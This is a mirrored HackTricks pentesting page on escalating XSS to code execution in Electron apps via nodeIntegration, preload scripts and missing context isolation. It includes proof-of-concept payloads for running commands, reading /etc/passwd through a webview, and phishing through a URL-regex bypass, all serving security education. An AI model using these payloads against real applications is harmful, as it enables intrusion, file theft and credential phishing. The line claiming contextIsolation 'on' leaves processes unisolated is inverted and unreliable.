mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-17 06:28:27 +00:00
153 lines
5.8 KiB
Markdown
153 lines
5.8 KiB
Markdown
|
# XSS to RCE Electron Desktop Apps
|
|||
|
|
|||
|
Electron is **based on Chromium**, but it is not a browser. Certain principles and security mechanisms implemented by modern browsers are not in place.
|
|||
|
|
|||
|
Electron has 2 process types:
|
|||
|
|
|||
|
* Main Process
|
|||
|
* Renderer Process
|
|||
|
|
|||
|
A **renderer process** will be a browser window loading a file:
|
|||
|
|
|||
|
```javascript
|
|||
|
const {BrowserWindow} = require('electron');
|
|||
|
let win = new BrowserWindow();
|
|||
|
|
|||
|
//Open Renderer Process
|
|||
|
win.loadURL(`file://path/to/index.html`);
|
|||
|
```
|
|||
|
|
|||
|
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
|
|||
|
|
|||
|
The desktop application might have access to the user’s device through Node APIs. The following two configurations are responsible for providing mechanisms to **prevent the application JavaScript from having direct access to the user’s device** and system level commands.
|
|||
|
|
|||
|
* **`nodeIntegration`** - is `off` by default. If on, allows to access node features from the renderer process.
|
|||
|
* **`contextIsolation`** - is `on` by default. If on, main and renderer processes aren't isolated.
|
|||
|
* **`preload`** - empty by default.
|
|||
|
|
|||
|
Example of configuration:
|
|||
|
|
|||
|
```javascript
|
|||
|
const mainWindowOptions = {
|
|||
|
title: 'Discord',
|
|||
|
backgroundColor: getBackgroundColor(),
|
|||
|
width: DEFAULT_WIDTH,
|
|||
|
height: DEFAULT_HEIGHT,
|
|||
|
minWidth: MIN_WIDTH,
|
|||
|
minHeight: MIN_HEIGHT,
|
|||
|
transparent: false,
|
|||
|
frame: false,
|
|||
|
resizable: true,
|
|||
|
show: isVisible,
|
|||
|
webPreferences: {
|
|||
|
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
|
|||
|
nodeIntegration: false,
|
|||
|
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
|
|||
|
nativeWindowOpen: true,
|
|||
|
enableRemoteModule: false,
|
|||
|
spellcheck: true
|
|||
|
}
|
|||
|
};
|
|||
|
```
|
|||
|
|
|||
|
## RCE: XSS + nodeIntegration
|
|||
|
|
|||
|
If the **nodeIntegration** is set to **on**, a web page's JavaScript can use Node.js features easily just by calling the `require()`. For example, the way to execute the calc application on Windows is:
|
|||
|
|
|||
|
```html
|
|||
|
<script>
|
|||
|
require('child_process').exec('calc');
|
|||
|
</script>
|
|||
|
```
|
|||
|
|
|||
|
## RCE: preload
|
|||
|
|
|||
|
The script indicated in this setting is l**oaded before other scripts in the renderer**, so it has **unlimited access to Node APIs**:
|
|||
|
|
|||
|
```javascript
|
|||
|
new BrowserWindow{
|
|||
|
webPreferences: {
|
|||
|
nodeIntegration: false,
|
|||
|
preload: _path2.default.join(__dirname, 'perload.js'),
|
|||
|
}
|
|||
|
});
|
|||
|
```
|
|||
|
|
|||
|
Therefore, the script can export node-features to pages:
|
|||
|
|
|||
|
{% code title="preload.js" %}
|
|||
|
```javascript
|
|||
|
typeof require === 'function';
|
|||
|
window.runCalc = function(){
|
|||
|
require('child_process').exec('calc')
|
|||
|
};
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
{% code title="index.html" %}
|
|||
|
```html
|
|||
|
<body>
|
|||
|
<script>
|
|||
|
typeof require === 'undefined';
|
|||
|
runCalc();
|
|||
|
</script>
|
|||
|
</body>
|
|||
|
```
|
|||
|
{% endcode %}
|
|||
|
|
|||
|
{% hint style="info" %}
|
|||
|
**If `contextIsolation` is on, this won't work**
|
|||
|
{% endhint %}
|
|||
|
|
|||
|
## RCE: XSS + contextIsolation
|
|||
|
|
|||
|
The _**contextIsolation**_ introduces the **separated contexts between the web page scripts and the JavaScript Electron's internal code** so that the JavaScript execution of each code does not affect each. This is a necessary feature to eliminate the possibility of RCE.
|
|||
|
|
|||
|
If the contexts aren't isolated an attacker can:
|
|||
|
|
|||
|
1. Execute **arbitrary JavaScript in renderer** (XSS or navigation to external sites)
|
|||
|
2. **Overwrite the built-in method** which is used in preload or Electron internal code to own function
|
|||
|
3. **Trigger** the use of **overwritten function**
|
|||
|
4. RCE?
|
|||
|
|
|||
|
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code.
|
|||
|
|
|||
|
{% content-ref url="electron-contextisolation-rce-via-preload-code.md" %}
|
|||
|
[electron-contextisolation-rce-via-preload-code.md](electron-contextisolation-rce-via-preload-code.md)
|
|||
|
{% endcontent-ref %}
|
|||
|
|
|||
|
|
|||
|
|
|||
|
## Read Internal Files: XSS + contextIsolation
|
|||
|
|
|||
|
If `contextIsolation` set to false you can try to use \<webview> (similar to \<iframe> butcan load local files) to read local files and exfiltrate them: using something like **\<webview src=”file:///etc/passwd”>\</webview>:**
|
|||
|
|
|||
|
![](../../../.gitbook/assets/1-u1jdryuwaevwjmf\_f2ttjg.png)
|
|||
|
|
|||
|
## **XSS Phishing via Internal URL regex bypass**
|
|||
|
|
|||
|
Supposing you found a XSS but you **cannot trigger RCE or steal internal files** you could try to use it to **steal credentials via phishing**.
|
|||
|
|
|||
|
First of all you need to know what happen when you try to open a new URL, checking the JS code in the front-end:
|
|||
|
|
|||
|
```javascript
|
|||
|
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
|
|||
|
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
|
|||
|
```
|
|||
|
|
|||
|
The call to ** `openInternally`** will decide if the **link** will be **opened** in the **desktop window** as it's a link belonging to the platform, **or** if will be opened in the **browser as a 3rd party resource**.
|
|||
|
|
|||
|
In the case the **regex** used by the function is **vulnerable to bypasses** (for example by **not escaping the dots of subdomains**) an attacker could abuse the XSS to **open a new window which** will be located in the attackers infrastructure **asking for credentials** to the user:
|
|||
|
|
|||
|
```html
|
|||
|
<script>
|
|||
|
window.open("<http://subdomainagoogleq.com/index.html>")
|
|||
|
</script>
|
|||
|
```
|
|||
|
|
|||
|
## **References**
|
|||
|
|
|||
|
* [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
|||
|
* [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
|||
|
* [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|